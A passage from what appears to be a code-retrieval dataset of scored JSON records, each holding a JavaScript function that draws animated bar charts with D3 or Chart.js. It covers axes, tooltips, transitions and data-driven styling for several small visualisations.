this.xAxisLabelArr = [];\n this.yAxisLabelArr = [];\n this.animationInterval = 100;\n this.animationSteps = 10;\n\n // Update method sets the end bar array and starts the animation\n this.update = function (newArr) {\n\n // If length of target and current array is different \n if (that.curArr.length !== newArr.length) {\n that.curArr = newArr;\n draw(newArr);\n } else {\n // Set the starting array to the current array\n startArr = that.curArr;\n // Set the target array to the new array\n endArr = newArr;\n // Animate from the start array to the end array\n if (!looping) {\n loop();\n }\n }\n };\n}", "title": "" }, { "docid": "36b8afaa3c5f7031583cc226c3fc0dd7", "score": "0.627685", "text": "function barChart() {\n\t\t// approach based on http://bost.ocks.org/mike/chart/\n\t\t// call this as, eg.:\n\t\t// var myChart = d3.elts.barChart().width(...); \n\t\t// d3.select('body').datum(points).call(myChart);\n\t\t//\n\n\t\tvar margin = {top: 10, right: 20, bottom: 120, left: 60},\n\t\t\twidth = 760,\n\t\t\theight = 300,\n\t\t\tduration = 500,\n\t\t\tsvgClass = \"bar-chart\",\n\t\t\txValue = function(d) { return d[0]; },\n\t\t\tyValue = function(d) { return d[1]; },\n\t\t\txPadding = 0.1,\n\t\t\tyMin = function(data) { return Math.min(0, d3.min(data, function(d) {return d[1]})) }, // can be a constant\n\t\t\tyMax = function(data) { return Math.max(0, d3.max(data, function(d) {return d[1]})) }, // can be a constant\n\t\t\txScale = d3.scale.ordinal(),\n\t\t\tyScale = d3.scale.linear(),\n\t\t\txAxis = d3.svg.axis().scale(xScale).orient(\"bottom\").tickSize(6, 0), // set to null for none (faster than hiding it)\n\t\t\txAxisIfBarsWiderThan = null, // set this to only show the xAxis if the bars are wider than some amount\n\t\t\txAxisTickFormat = null, // can be a function of the actual data, not just the primary id, eg. function(d) { return d[2] }\n\t\t\txAxisText = function(textSel) {textSel.attr(\"x\", -8)\n\t\t\t\t\t\t\t.attr(\"y\", 0)\n\t\t\t\t\t\t\t.attr(\"dy\", \".35em\")\n\t\t\t\t\t\t\t.attr(\"transform\", \"rotate(-90)\")\n\t\t\t\t\t\t\t.style(\"text-anchor\", \"end\");\n\t\t\t\t\t\t},\n\t\t\txAxisAnimate = true,\n\t\t\tyValueOfXAxis = 0, // or a function of the data\n\t\t\tcommasFormatter = d3.format(\",.0f\"),\n\t\t\tyAxis = d3.svg.axis().orient(\"left\").tickSize(6, 0).tickFormat(commasFormatter), // set to null for none (faster than hiding it)\n\t\t\tyNoOverlap = 18,\n\t\t\tfill = function(d) { return d[1]>=0 ? \"#66BB66\" : \"#BB6666\" },\n\t\t\tstroke = function(d) { return d[1]>=0 ? \"gray\" : \"#BB6666\" },\n\t\t\tmouseOver = function() {}, // function(elt, d) {}\n\t\t\tmouseOut = function() {}, // function(elt, d) {}\n\t\t\trangeWidget = null,\n\t\t\txDomain = null; // set this to positions [start, end] into the data, to restrict the x domain\n\n\t\tvar hadXAxis = false;\n\n\t\tfunction chart(selection) {\n\n\t\t\tfunction update(elt, data) {\n\n\t\t\t\tvar heightWithoutRange = height - (rangeWidget ? rangeWidget.height() : 0);\n\t\t\t\t// Convert data to standard representation greedily;\n\t\t\t\t// this is needed for nondeterministic accessors.\n\t\t\t\t// (After this, d[0] is x and d[1] is y; don't use X and Y fns)\n\t\t\t\t\n\t\t\t\tif (_.isArray(data[0])) {\n\t\t\t\t\t// make sure d[0] and d[1] are the x and y values, but leave the rest\n\t\t\t\t\t_.each(data, function(d, i) {\n\t\t\t\t\t\td[0] = xValue.call(data, d, i);\n\t\t\t\t\t\td[1] = yValue.call(data, d, i);\n\t\t\t\t\t});\n\t\t\t\t} else {\n\t\t\t\t\t// if data is not an array of arrays, turn it into one\n\t\t\t\t\tdata = _.map(data, function(d, i) {\n\t\t\t\t\t\treturn [xValue.call(data, d, i), yValue.call(data, d, i)];\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (!xDomain) {\n\t\t\t\t\txDomain = [0, data.length-1];\n\t\t\t\t}\n\t\t\t\tvar subdata = data.slice(xDomain[0], xDomain[1]+1);\n\t\t\t\tfunction getDataLine(x) {\n\t\t\t\t\tvar matches = _.filter(subdata, function(d) { return d[0]===x});\n\t\t\t\t\tif (matches.length!==1) { throw \"cannot find \"+x+\" in data\"; } // shouldn't happen\n\t\t\t\t\treturn matches[0];\n\t\t\t\t}\n\t\t\t\t// Update the x-scale.\n\t\t\t\txScale.rangeBands([0, width - margin.left - margin.right], xPadding)\n\t\t\t\t\t.domain(_.map(subdata, function(d) {return d[0]}));\n\t\t\t\t\n\t\t\t\t// Update the y-scale.\n\t\t\t\t// Note d3.functor allows for constants or functions\n\t\t\t\t// - see https://github.com/mbostock/d3/wiki/Internals#functor\n\t\t\t\tyScale\n\t\t\t\t\t.domain([d3.functor(yMin)(subdata), d3.functor(yMax)(subdata)])\n\t\t\t\t\t.range([(heightWithoutRange - margin.top - margin.bottom), 0]);\n\t\t\t\t\n\t\t\t\t// Select the svg element, if it exists.\n\t\t\t\tvar svg = d3.select(elt).selectAll(\"svg.\"+svgClass).data([1]);\n\n\t\t\t\t// Otherwise, create the svg and the g.\n\t\t\t\tvar gEnter = svg.enter().append(\"svg\").attr(\"class\",svgClass).append(\"g\");\n\t\t\t\tgEnter.append(\"g\").attr(\"class\", \"bars\");\n\t\t\t\tgEnter.append(\"g\").attr(\"class\", \"x axis\");\n\t\t\t\tgEnter.append(\"g\").attr(\"class\", \"y axis\");\n\n\t\t\t\t// Update the inner dimensions.\n\t\t\t\tvar g = svg.select(\"g\")\n\t\t\t\t\t\t\t.attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\n\t\t\t\t\n\t\t\t\tvar bars = g.select(\"g.bars\").selectAll(\"rect.bar\")\n\t\t\t\t\t.data(subdata, function(d) {return d[0]});\n\t\t\t\t\n\t\t\t\t// ENTER\n\t\t\t\tbars.enter().append(\"rect\")\n\t\t\t\t\t.attr(\"class\", \"bar\")\n\t\t\t\t\t.attr(\"x\", xX )\n\t\t\t\t\t.attr(\"y\", yScale(0) )\n\t\t\t\t\t.attr(\"height\", 0 )\n\t\t\t\t\t.attr(\"width\", xScale.rangeBand())\n\t\t\t\t\t.attr(\"fill\", fill)\n\t\t\t\t\t.attr(\"stroke\", stroke);\n\t\t\t\t\n\t\t\t\t// UPDATE\n\t\t\t\tbars.on(\"mouseover\", function(d) { mouseOver(this, d) }) // put these on the update in case they have changed\n\t\t\t\t\t.on(\"mouseout\", function(d) { mouseOut(this, d) })\n\t\t\t\t\t.transition()\n\t\t\t\t\t\t.duration(duration)\n\t\t\t\t\t\t.attr(\"x\", xX )\n\t\t\t\t\t\t.attr(\"y\", function(d) { return d[1]>0 ? yY(d) : yScale(0) } )\n\t\t\t\t\t\t.attr(\"height\", function(d) { return Math.abs(yY(d)-yScale(0)) } )\n\t\t\t\t\t\t.attr(\"width\", xScale.rangeBand())\n\t\t\t\t\t\t.attr(\"fill\", fill)\n\t\t\t\t\t\t.attr(\"stroke\", stroke);\n\n\t\t\t\t// EXIT\n\t\t\t\tbars.exit().transition()\n\t\t\t\t\t.duration(duration)\n\t\t\t\t\t.attr(\"y\", yScale(0) )\n\t\t\t\t\t.attr(\"height\", 0 )\n\t\t\t\t\t.remove();\n\t\t\t\t\n\t\t\t\t// Update the outer dimensions.\n\t\t\t\tsvg .attr(\"width\", width)\n\t\t\t\t\t.attr(\"height\", heightWithoutRange);\n\n\t\t\t\tif (xAxis && xScale.rangeBand()>=xAxisIfBarsWiderThan) {\n\t\t\t\t\t// Update the x-axis.\n\t\t\t\t\tif (xAxisTickFormat) {\n\t\t\t\t\t\t// don't just set it directly using xAxis.tickFormat(xAxisTickFormat), \n\t\t\t\t\t\t// because xAxisTickFormat is a function(d) of the data line\n\t\t\t\t\t\t// whereas xAxis.tickFormat() takes a function of the string used in the domain\n\t\t\t\t\t\t// which might just be a non-human-readable id field\n\t\t\t\t\t\txAxis.tickFormat(function(x) { return xAxisTickFormat(getDataLine(x)) });\n\t\t\t\t\t}\n\t\t\t\t\tif (xAxisAnimate) {\n\t\t\t\t\t\t// this approach animates the x-axis onto the screen\n\t\t\t\t\t\tg.select(\".x.axis\")\n\t\t\t\t\t\t\t.transition()\n\t\t\t\t\t\t\t.duration(duration)\n\t\t\t\t\t\t\t\t.attr(\"transform\", \"translate(0,\" + yScale(d3.functor(yValueOfXAxis)(data)) + \")\")\n\t\t\t\t\t\t\t\t.call(xAxis)\n\t\t\t\t\t \t\t\t\t.selectAll(\"text\")\n\t\t\t\t\t\t\t\t\t.call(xAxisText);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// this approach immediately presents the x-axis\n\t\t\t\t\t\tg.select(\".x.axis\")\n\t\t\t\t\t\t\t.call(xAxis)\n\t\t\t\t\t\t\t\t.attr(\"transform\", \"translate(0,\" + yScale(d3.functor(yValueOfXAxis)(data)) + \")\")\n\t\t\t\t\t\t\t\t.transition()\n\t\t\t\t\t\t\t\t.duration(duration)\n\t\t\t\t\t\t \t\t\t\t.selectAll(\"text\")\n\t\t\t\t\t\t\t\t\t\t.call(xAxisText);\n\t\t\t\t\t}\n\t\t\t\t\tg.select(\".x.axis\")\n\t\t \t\t\t\t.selectAll(\"text\")\n\t\t\t\t\t\t\t.on(\"mouseover\", function(x) { mouseOver(this, getDataLine(x)) })\n\t\t\t\t\t\t\t.on(\"mouseout\", function(x) { mouseOut(this, getDataLine(x)) })\n\t\t\t\t\t\t\t.call(xAxisText);\n\t\t\t\t\thadXAxis = true;\n\t\t\t\t} else if (hadXAxis) {\n\t\t\t\t\tg.select(\".x.axis\").selectAll(\".tick\").remove();\n\t\t\t\t\thadXAxis = false;\n\t\t\t\t}\n\n\t\t\t\tif (yAxis) {\n\t\t\t\t\t// Update the y-axis. Note if you turn the yAxis on/off dynamically it won't pick up the change\n\t\t\t\t\tvar dataMin = d3.min(subdata, function(d) {return d[1]}),\n\t\t\t\t\t\tdataMax = d3.max(subdata, function(d) {return d[1]});\n\t\t\t\t\tvar tickValues = [0];\n\t\t\t\t\tif (yScale(dataMin)-yScale(0)>yNoOverlap) {tickValues.push(dataMin); } // only if it won't overlap 0\n\t\t\t\t\telse if (dataMin<0) {tickValues.push(yScale.invert(yScale(0)+yNoOverlap))} // if neg data but min near 0, show domain limit\n\t\t\t\t\tif (yScale(dataMax)-yScale(0)<-yNoOverlap) {tickValues.push(dataMax); }\n\t\t\t\t\telse if (dataMax>0) {tickValues.push(yScale.invert(yScale(0)-yNoOverlap))} // if pos data but max near 0, show domain limit\n\t\t\t\t\tyAxis.scale(yScale).tickValues(tickValues);\n\t\t\t\t\tg.select(\".y.axis\")\n\t\t\t\t\t\t\t.transition()\n\t\t\t\t\t\t\t.duration(duration)\n\t\t\t\t\t\t\t//.attr(\"transform\", \"translate(0,\" + yScale(0) + \")\")\n\t\t\t\t\t\t\t.call(yAxis);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tselection.each(function(data) {\n\t\t\t\t// generate chart here, using width & height etc;\n\t\t\t\t// use 'data' for the data and 'this' for the element\n\t\t\t\tvar elt = this;\n\t\t\t\tupdate(elt, data);\n\t\t\t\t// Update the range widget, if present\n\t\t\t\t// don't put this in the update method or it becomes circular\n\t\t\t\tif (rangeWidget) {\n\t\t\t\t\trangeWidget.width(width).margin({top:0, right:margin.right, bottom:0, left:margin.left});\n\t\t\t\t\trangeWidget.onDrag(function(start, end) { \n\t\t\t\t\t\txDomain = [Math.round(start), Math.round(end)];\n\t\t\t\t\t\tvar oldDur = duration;\n\t\t\t\t\t\tduration = 0;\n\t\t\t\t\t\tupdate(elt, data);\n\t\t\t\t\t\tduration = oldDur;\n\t\t\t\t\t});\n\t\t\t\t\td3.select(elt).datum([{\n\t\t\t\t\t\t\tscale: d3.scale.linear().domain([0,data.length-1]),\n\t\t\t\t\t\t\tstart: xDomain ? xDomain[0] : 0, \n\t\t\t\t\t\t\tend: xDomain ? xDomain[1] : data.length-1\n\t\t\t\t\t\t}]).call(rangeWidget);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\t// The x-accessor for the path generator; xScale xValue.\n\t\tfunction xX(d) {\n\t\t\treturn xScale(d[0]);\n\t\t}\n\n\t\t// The y-accessor for the path generator; yScale yValue.\n\t\tfunction yY(d) {\n\t\t\treturn yScale(d[1]);\n\t\t}\n\n\t\tchart.margin = function(_) {\n\t\t\tif (!arguments.length) return margin;\n\t\t\tmargin = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.width = function(_) {\n\t\t\tif (!arguments.length) return width;\n\t\t\twidth = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.height = function(_) {\n\t\t\tif (!arguments.length) return height;\n\t\t\theight = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.duration = function(_) {\n\t\t\tif (!arguments.length) return duration;\n\t\t\tduration = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.xPadding = function(_) {\n\t\t\tif (!arguments.length) return xPadding;\n\t\t\txPadding = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.xAxisText = function(_) {\n\t\t\tif (!arguments.length) return xAxisText;\n\t\t\txAxisText = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.yMin = function(_) {\n\t\t\tif (!arguments.length) return yMin;\n\t\t\tyMin = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.yMax = function(_) {\n\t\t\tif (!arguments.length) return yMax;\n\t\t\tyMax = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.xAxis = function(_) {\n\t\t\tif (!arguments.length) return xAxis;\n\t\t\txAxis = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.yAxis = function(_) {\n\t\t\tif (!arguments.length) return yAxis;\n\t\t\tyAxis = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.xAxisIfBarsWiderThan = function(_) {\n\t\t\tif (!arguments.length) return xAxisIfBarsWiderThan;\n\t\t\txAxisIfBarsWiderThan = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.xAxisTickFormat = function(_) {\n\t\t\tif (!arguments.length) return xAxisTickFormat;\n\t\t\txAxisTickFormat = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.xAxisAnimate = function(_) {\n\t\t\tif (!arguments.length) return xAxisAnimate;\n\t\t\txAxisAnimate = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.yValueOfXAxis = function(_) {\n\t\t\tif (!arguments.length) return yValueOfXAxis;\n\t\t\tyValueOfXAxis = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.x = function(_) {\n\t\t\tif (!arguments.length) return xValue;\n\t\t\txValue = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.y = function(_) {\n\t\t\tif (!arguments.length) return yValue;\n\t\t\tyValue = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.mouseOver = function(_) {\n\t\t\tif (!arguments.length) return mouseOver;\n\t\t\tmouseOver = _;\n\t\t\treturn chart;\n\t\t};\n\t\t\n\t\tchart.mouseOut = function(_) {\n\t\t\tif (!arguments.length) return mouseOut;\n\t\t\tmouseOut = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.stroke = function(_) {\n\t\t\tif (!arguments.length) return stroke;\n\t\t\tstroke = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.fill = function(_) {\n\t\t\tif (!arguments.length) return fill;\n\t\t\tfill = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.xDomain = function(_) {\n\t\t\tif (!arguments.length) return xDomain;\n\t\t\txDomain = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.rangeWidget = function(_) {\n\t\t\tif (!arguments.length) return rangeWidget;\n\t\t\trangeWidget = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\tchart.svgClass = function(_) {\n\t\t\tif (!arguments.length) return svgClass;\n\t\t\tsvgClass = _;\n\t\t\treturn chart;\n\t\t};\n\n\t\treturn chart;\n\t}", "title": "" }, { "docid": "b728cda1935063963f9f34fe0409b112", "score": "0.6231789", "text": "function showBar() {\n console.log('SHOW BAR');\n\n showAxes(xAxisBar, yAxis);\n g.selectAll('.y.axis')\n .transition(hide)\n .style('opacity', 0);\n\n g.selectAll('.eqg-img')\n .transition(hide)\n .style('opacity', 0);\n\n g.selectAll('.line')\n .transition(hide)\n .style('opacity', 0);\n g.select('.label.line')\n .transition(hide)\n .style('opacity', 0)\n .attr('y1', height);\n g.selectAll('.label.text')\n .transition(hide)\n .style('opacity', 0);\n g.selectAll('.legend')\n .transition(hide)\n .style('opacity', 0);\n\n yScale.domain([0, 100]);\n g.selectAll('.bar')\n .style('opacity', 1.0)\n .transition(show)\n .ease(d3.easeCubic)\n .attr('height', d => height - yScale(d.renewable))\n .attr('y', d => yScale(d.renewable));\n g.selectAll('.bar-label')\n .transition(show)\n .style('opacity', 1);\n\n }", "title": "" }, { "docid": "32f52f6e1807e3f6821f1bf38e4159e4", "score": "0.6223769", "text": "function buildBarChart(comms){\n var stccNames = [], values = [];\n $('#commChart').empty().html('');\n\n // define the data variables\n var commColors= ['#312A6A','#323576','#35478A','#36559A','#2E5EA5','#396ab2','#4276c2','#5584c9','#6992cf','#7ca0d5'];\n\n var commodityName = function(stccCode){\n var result = null, p;\n for (p= 0; p < stccs.length; p++) {\n var code = stccs[p];\n if (parseInt(code.stcc) === parseInt(stccCode.stcc4)) {\n result = code.name;\n }\n }\n return result;\n };\n\n function prepChartData(citem){\n var ci = commodityName(citem);\n if(measure === 'ton'){\n values.push(parseInt(citem.ton));\n }else{\n values.push(parseInt(citem.value));\n }\n stccNames.push(ci);\n }\n var k;\n\n if(comms.length < 10){\n for (k = 0; k < comms.length; k++){\n singleComm = comms[k];\n prepChartData(singleComm);\n }\n }else{\n for (k = 0; k < 10; k++){\n singleComm = comms[k];\n prepChartData(singleComm);\n }\n }\n\n // define chart size and presets\n var width = $('#topCommoditiesChart').width(),\n height = 305,\n xheight = 275;\n\n var barHeight = (height-30) / values.length;\n\n // build the chart\n var chart = d3.select('#commChart')\n .attr('width', width)\n .attr('height', height);\n\n var colorScale = d3.scale.quantize()\n .domain([0,stccNames.length])\n .range(commColors);\n\n var x = d3.scale.linear()\n .range([0, width-250])\n .domain([0, d3.max(values)]);\n\n var yscale = d3.scale.linear()\n .domain([0,stccNames.length])\n .range([0,xheight]);\n\n function make_x_axis() {\n return d3.svg.axis()\n .scale(x)\n .orient('bottom')\n .ticks(5);\n }\n\n function xLabel(){\n if(measure==='ton'){return 'thousand tons of activity';}\n else{return 'million dollars of activity';}\n }\n\n function formatValues(d){\n var dv;\n if(measure === 'ton'){\n dv = numeral(round((d*0.001),2)).format('0,0');\n }else{\n dv = '$ '+ numeral(round((d*0.000001),2)).format('0,0');\n }\n return dv;\n }\n\n // add axis, labels, and grid\n var\tyAxis = d3.svg.axis()\n .orient('left')\n .scale(yscale)\n .ticks(stccNames.length)\n .tickSize(0)\n .tickFormat(function(d,i){ return stccNames[i]; });\n\n chart.append('g')\n .attr('class', 'x axis')\n .attr('transform', 'translate(220,' + xheight + ')')\n .call(make_x_axis()\n .tickSize(2)\n .tickFormat(formatValues)\n );\n\n chart.append('g')\n .attr('class', 'grid')\n .attr('transform', 'translate(220,' + xheight + ')')\n .style('stroke-dasharray', ('1, 2'))\n .call(make_x_axis()\n .tickSize(-xheight, 0, 0)\n .tickFormat('')\n );\n\n var y_xis = chart.append('g')\n .attr('transform', 'translate(220,0)')\n .attr('id','yaxis')\n .call(yAxis)\n .selectAll('text')\n .attr('y', barHeight/2 );\n\n chart.append('text')\n .attr('class', 'x-label')\n .attr('text-anchor', 'end')\n .attr('x', (width/2) + 110 )\n .attr('y', height-2)\n .text(xLabel);\n\n //build bars\n var bar = chart.append('g')\n .attr('transform', 'translate(220, 0)')\n .attr('id', 'bars')\n .selectAll('rect')\n .data(values)\n .enter();\n\n bar.append('rect')\n .attr('transform', function(d, i) { return 'translate(0, ' + i * barHeight + ')'; })\n .attr('width', 0)\n .attr('height', barHeight - 2)\n .attr('class', 'barTip')\n .style('fill',function(d,i){ return colorScale(i); })\n .transition()\n .delay(function(d, i) { return i * 100; })\n .duration(400)\n .attr('width', x)\n .attr('val', function(d,i){ return d; });\n\n\n $('.barTip').tipsy({\n gravity: 'n',\n html: true,\n title: function() {\n var a = this.getAttribute('val');\n if(measure === 'ton'){ bLabel = numeral(round((a*0.001),2)).format('0,0.0') +' ktons';\n }else{ bLabel = '$ '+ numeral(round((a*0.000001),2)).format('0,0.0') + ' M';\n }\n return bLabel ;\n }\n });\n }", "title": "" }, { "docid": "ba15562ed7464d52e90be3623a3040aa", "score": "0.62184876", "text": "function barchart_voice_post() {\n\n var svg = d3.select(\"#voice_post_bars\").append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", (height + margin.top + margin.bottom));\n\n // Load data:\n d3.csv(data_file, function (error, data) {\n\n // Create the chart:\n bars = svg.selectAll(\"rect\")\n .data(data)\n .enter().append(\"rect\")\n .attr(\"x\", function(d, i) {return i * (width / data.length);})\n .attr(\"y\", function(d){return bar_height - yScale(d.voice_post);})\n .attr(\"width\", width / data.length)\n .attr(\"height\", function(d) {return yScale(d.voice_post);})\n .attr(\"fill\", voice_post_color);\n });\n }", "title": "" }, { "docid": "85a28a171c1897b569c9e58f9aadb260", "score": "0.6211856", "text": "function makeBarCrimes(ctx) {\n myChart = new Chart(ctx, {\n type: \"bar\",\n data: {\n labels: [\"2003\", \"2004\", \"2005\", \"2006\", \"2007\", \"2008\", \"2009\",\n \"2010\", \"2011\", \"2012\", \"2013\", \"2014\", \"2015\", \"2016\"],\n datasets: [{\n label: $(\"#crimeDd option:selected\").text(),\n data: selectData,\n borderColor: cols[0],\n backgroundColor: cols[0],\n borderWidth: 1\n },\n {\n label: $(\"#crimeDd0 option:selected\").text(),\n data: extraSelectData[0],\n borderColor: cols[1],\n backgroundColor: cols[1],\n borderWidth: 1\n },\n {\n label: $(\"#crimeDd1 option:selected\").text(),\n data: extraSelectData[1],\n borderColor: cols[2],\n backgroundColor: cols[2],\n borderWidth: 1\n },\n {\n label: $(\"#crimeDd2 option:selected\").text(),\n data: extraSelectData[2],\n borderColor: cols[3],\n backgroundColor: cols[3],\n borderWidth: 1\n },\n {\n label: $(\"#crimeDd3 option:selected\").text(),\n data: extraSelectData[3],\n borderColor: cols[4],\n backgroundColor: cols[4],\n borderWidth: 1\n }]\n },\n options: {\n title: {\n display: true,\n padding: 1,\n text: statName[0]\n },\n responsive: true,\n maintainAspectRatio: false,\n scales: {\n yAxes: [{\n ticks: {\n beginAtZero:true\n }\n }],\n // xAxes: [{\n // stacked: true\n // }]\n },\n tooltips: {\n mode: \"index\",\n intersect: false\n }\n }\n });\n}", "title": "" }, { "docid": "93cb73fd088c121519c489f7811967c9", "score": "0.6195946", "text": "function _appendBars(data) {\n let i, j, k, achei, maxDoAnel, categoriasAux = [], categorias = [];\n let circleScale = d3.scale.ordinal();\n\n if (_grpBars != null)\n _grpBars.remove();\n _grpBars = _grpCluster.selectAll(\".CV-grpBars\")\n .data(data.nodes.dataNodes)\n .enter()\n .append(\"g\")\n .attr(\"class\", \"CV-grpBars\")\n .attr(\"transform\", function (d, i) { return \"rotate(\" + _grpBarsRotScale(i) + \")\"; });\n\n _grpBars.append(\"line\")\n .attr(\"x1\", _ringScale(0))\n .attr(\"y1\", 0)\n .attr(\"x2\", _ringScale(100))\n .attr(\"y2\", 0);\n\n for (i = 0; i < _vRings.length; i++) {\n if (_vRings[i].typeAttr === \"L\")\n categoriasAux = categoriasAux.concat(_vRings[i].vLabelDomain.sort());\n }\n\n // Removes duplicate vector elements\n k = 0;\n for (i = 0; i < categoriasAux.length; i++) {\n achei = false;\n for (j = 0; j < categorias.length; j++)\n if (categoriasAux[i] === categorias[j]) {\n achei = true;\n break;\n }\n if (!achei) {\n categorias[k] = categoriasAux[i];\n k++;\n }\n }\n\n if (_sameScale) {\n maxDoAnel = -1;\n for (i = 0; i < _vRings.length; i++) {\n if (_vRings[i].maxValue > maxDoAnel)\n maxDoAnel = _vRings[i].maxValue;\n }\n for (i = 0; i < _vRings.length; i++) {\n if (_vRings[i].typeAttr === \"V\") {\n _vRings[i].barCircleScale.range([1, Math.floor(_vRings[i].pHeightBar * (_outerRadius - _innerRadius))]).domain([0, maxDoAnel]);\n } else {\n _vRings[i].barCircleScale.range(_vCores20Inv).domain(categorias);\n }\n }\n } else {\n for (i = 0; i < _vRings.length; i++) {\n if (_vRings[i].typeAttr === \"V\") {\n _vRings[i].barCircleScale.range([1, Math.floor(_vRings[i].pHeightBar * (_outerRadius - _innerRadius))]).domain([0, _vRings[i].maxValue]);\n } else {\n _vRings[i].barCircleScale.range(_vCores20Inv).domain(categorias);\n }\n }\n }\n for (i = 0; i < _vRings.length; i++) {\n if (_vRings[i].typeAttr === \"V\") {\n _grpBars.append(\"rect\")\n .attr(\"class\", \"CV-node\")\n .attr(\"x\", _ringScale(_vRings[i].pX))\n .attr(\"y\", function () { return -_barsArea.widthBar / 2; })\n .attr(\"height\", function () { return _barsArea.widthBar; })\n .attr(\"width\", function (d) { return _vRings[i].barCircleScale(d.values[_vRings[i].indexAttr]); })\n .style(\"fill\", function () { return _colorScale(_vRings[i].indexAttr); })\n .on(\"mouseover\", _mouseOverNode)\n .on(\"mouseout\", _mouseOutNode)\n .append(\"title\")\n .text(function (d) { return d.labels[0] + \"\\n\" + data.nodes.valueTitle[_vRings[i].indexAttr] + \": \" + d.values[_vRings[i].indexAttr] });\n } else {\n circleScale.range(_vCores20Inv).domain(_vRings[i].vLabelDomain);\n _grpBars.append(\"circle\")\n .attr(\"class\", \"CV-node\")\n .attr(\"cx\", _ringScale(_vRings[i].pX) + _barsArea.widthBar / 2)\n .attr(\"cy\", 0)\n .attr(\"r\", _barsArea.widthBar / 2)\n .style(\"fill\", function (d) { return _vRings[i].barCircleScale(d.labels[_vRings[i].indexAttr]); })\t//<-- Check how to put the color\n .on(\"mouseover\", _mouseOverNode)\n .on(\"mouseout\", _mouseOutNode)\n .append(\"title\")\n .text(function (d) {\n return d.labels[0] + \"\\n\" +\n data.nodes.labelTitle[_vRings[i].indexAttr] + \": \" + d.labels[_vRings[i].indexAttr]\n });\n }\n }\n\n }", "title": "" }, { "docid": "55dab56715f63bfdca9737f3607b0e1f", "score": "0.61676043", "text": "function barChart(topFiftyData) {\n // set the dimensions and margins of the graph\n const margin = {\n top: 50,\n right: 100,\n bottom: 100,\n left: 100,\n },\n width = 1280 - margin.left - margin.right,\n height = 720 - margin.top - margin.bottom;\n\n // append the svg object to the body of the page\n const svg = d3\n .select(\"body\")\n .append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", height + margin.top + margin.bottom)\n .append(\"g\")\n .attr(\"transform\", `translate(${margin.left},${margin.top})`);\n\n // X axis\n const x = d3\n .scaleBand()\n .range([0, width])\n .domain(topFiftyData.map((d) => d.artist))\n .padding(0.2);\n svg\n .append(\"g\")\n .attr(\"transform\", `translate(0,${height})`)\n .call(d3.axisBottom(x))\n .selectAll(\"text\")\n .attr(\"transform\", \"translate(-10,0)rotate(-45)\")\n .style(\"text-anchor\", \"end\");\n\n // Add Y axis\n const y = d3.scaleLinear().domain([0, 6500000]).range([height, 0]);\n svg.append(\"g\").call(d3.axisLeft(y));\n\n // Bars\n svg\n .selectAll(\"bars\")\n .data(topFiftyData)\n .join(\"rect\")\n .attr(\"x\", (d) => x(d.artist))\n .attr(\"width\", x.bandwidth())\n .attr(\"fill\", \"#1ed760\")\n .attr(\"height\", (d) => height - y(0)) // always equal to 0\n .attr(\"y\", (d) => y(0))\n .attr(\"data-amount\", (d) => d.listeners)\n // on mouse effects to create interactivity\n .on(\"mouseover\", function (d, i) {\n tooltip\n .html(`${d.srcElement.__data__.artist}: ${d.srcElement.dataset.amount}`)\n .style(\"visibility\", \"visible\");\n console.log(d);\n d3.select(this).attr(\"fill\", (\"#1ed760\", \"#1db954\"));\n })\n .on(\"mousemove\", function () {\n tooltip\n .style(\"top\", event.y - 10 + \"px\")\n .style(\"left\", event.x + 10 + \"px\");\n })\n .on(\"mouseout\", function () {\n tooltip.html(``).style(\"visibility\", \"hidden\");\n d3.select(this).attr(\"fill\", \"#1ed760\");\n });\n\n // Animation\n svg\n .selectAll(\"rect\")\n .transition()\n .ease(d3.easeQuadOut)\n .duration(800)\n .attr(\"y\", (d) => y(d.listeners))\n .attr(\"height\", (d) => height - y(d.listeners))\n .delay((d, i) => {\n return i * 100;\n });\n\n // create tooltip element\n const tooltip = d3\n .select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"d3-tooltip\")\n .style(\"position\", \"absolute\")\n .style(\"z-index\", \"10\")\n .style(\"visibility\", \"hidden\")\n .style(\"padding\", \"15px\")\n .style(\"background\", \"#3860be\")\n .style(\"border-radius\", \"5px\")\n .style(\"color\", \"#fff\")\n .style(\"font-family\", \"sans-serif\");\n}", "title": "" }, { "docid": "49dd90115f6a837dd9230979cf6d713c", "score": "0.6130735", "text": "function barplot_base(data,startidx,stopidx,ctx,colors,max,min,x,y,w,pheight,pointup,tosvg)\n{\n if(!colors.p) {\n colors.p='rgb(184,0,92)';\n }\n if(!colors.n) {\n colors.n='rgb(0,79,158)';\n }\n var svgdata=[];\n for(var i=startidx; i<stopidx; i++) {\n var score=data[i];\n var bary=null, barh=null, barcolor=null,\n tipy=null, tipcolor=null;\n if(isNaN(score)) {\n // do nothing\n } else if(score==Infinity) {\n barcolor=colors.inf?colors.inf:'#b5b5b5';\n if(max>0 && min<0) {\n barh=pheight*max/(max-min);\n bary=pointup ? y : (y+pheight-barh);\n } else {\n bary=y;\n barh=pheight;\n }\n } else 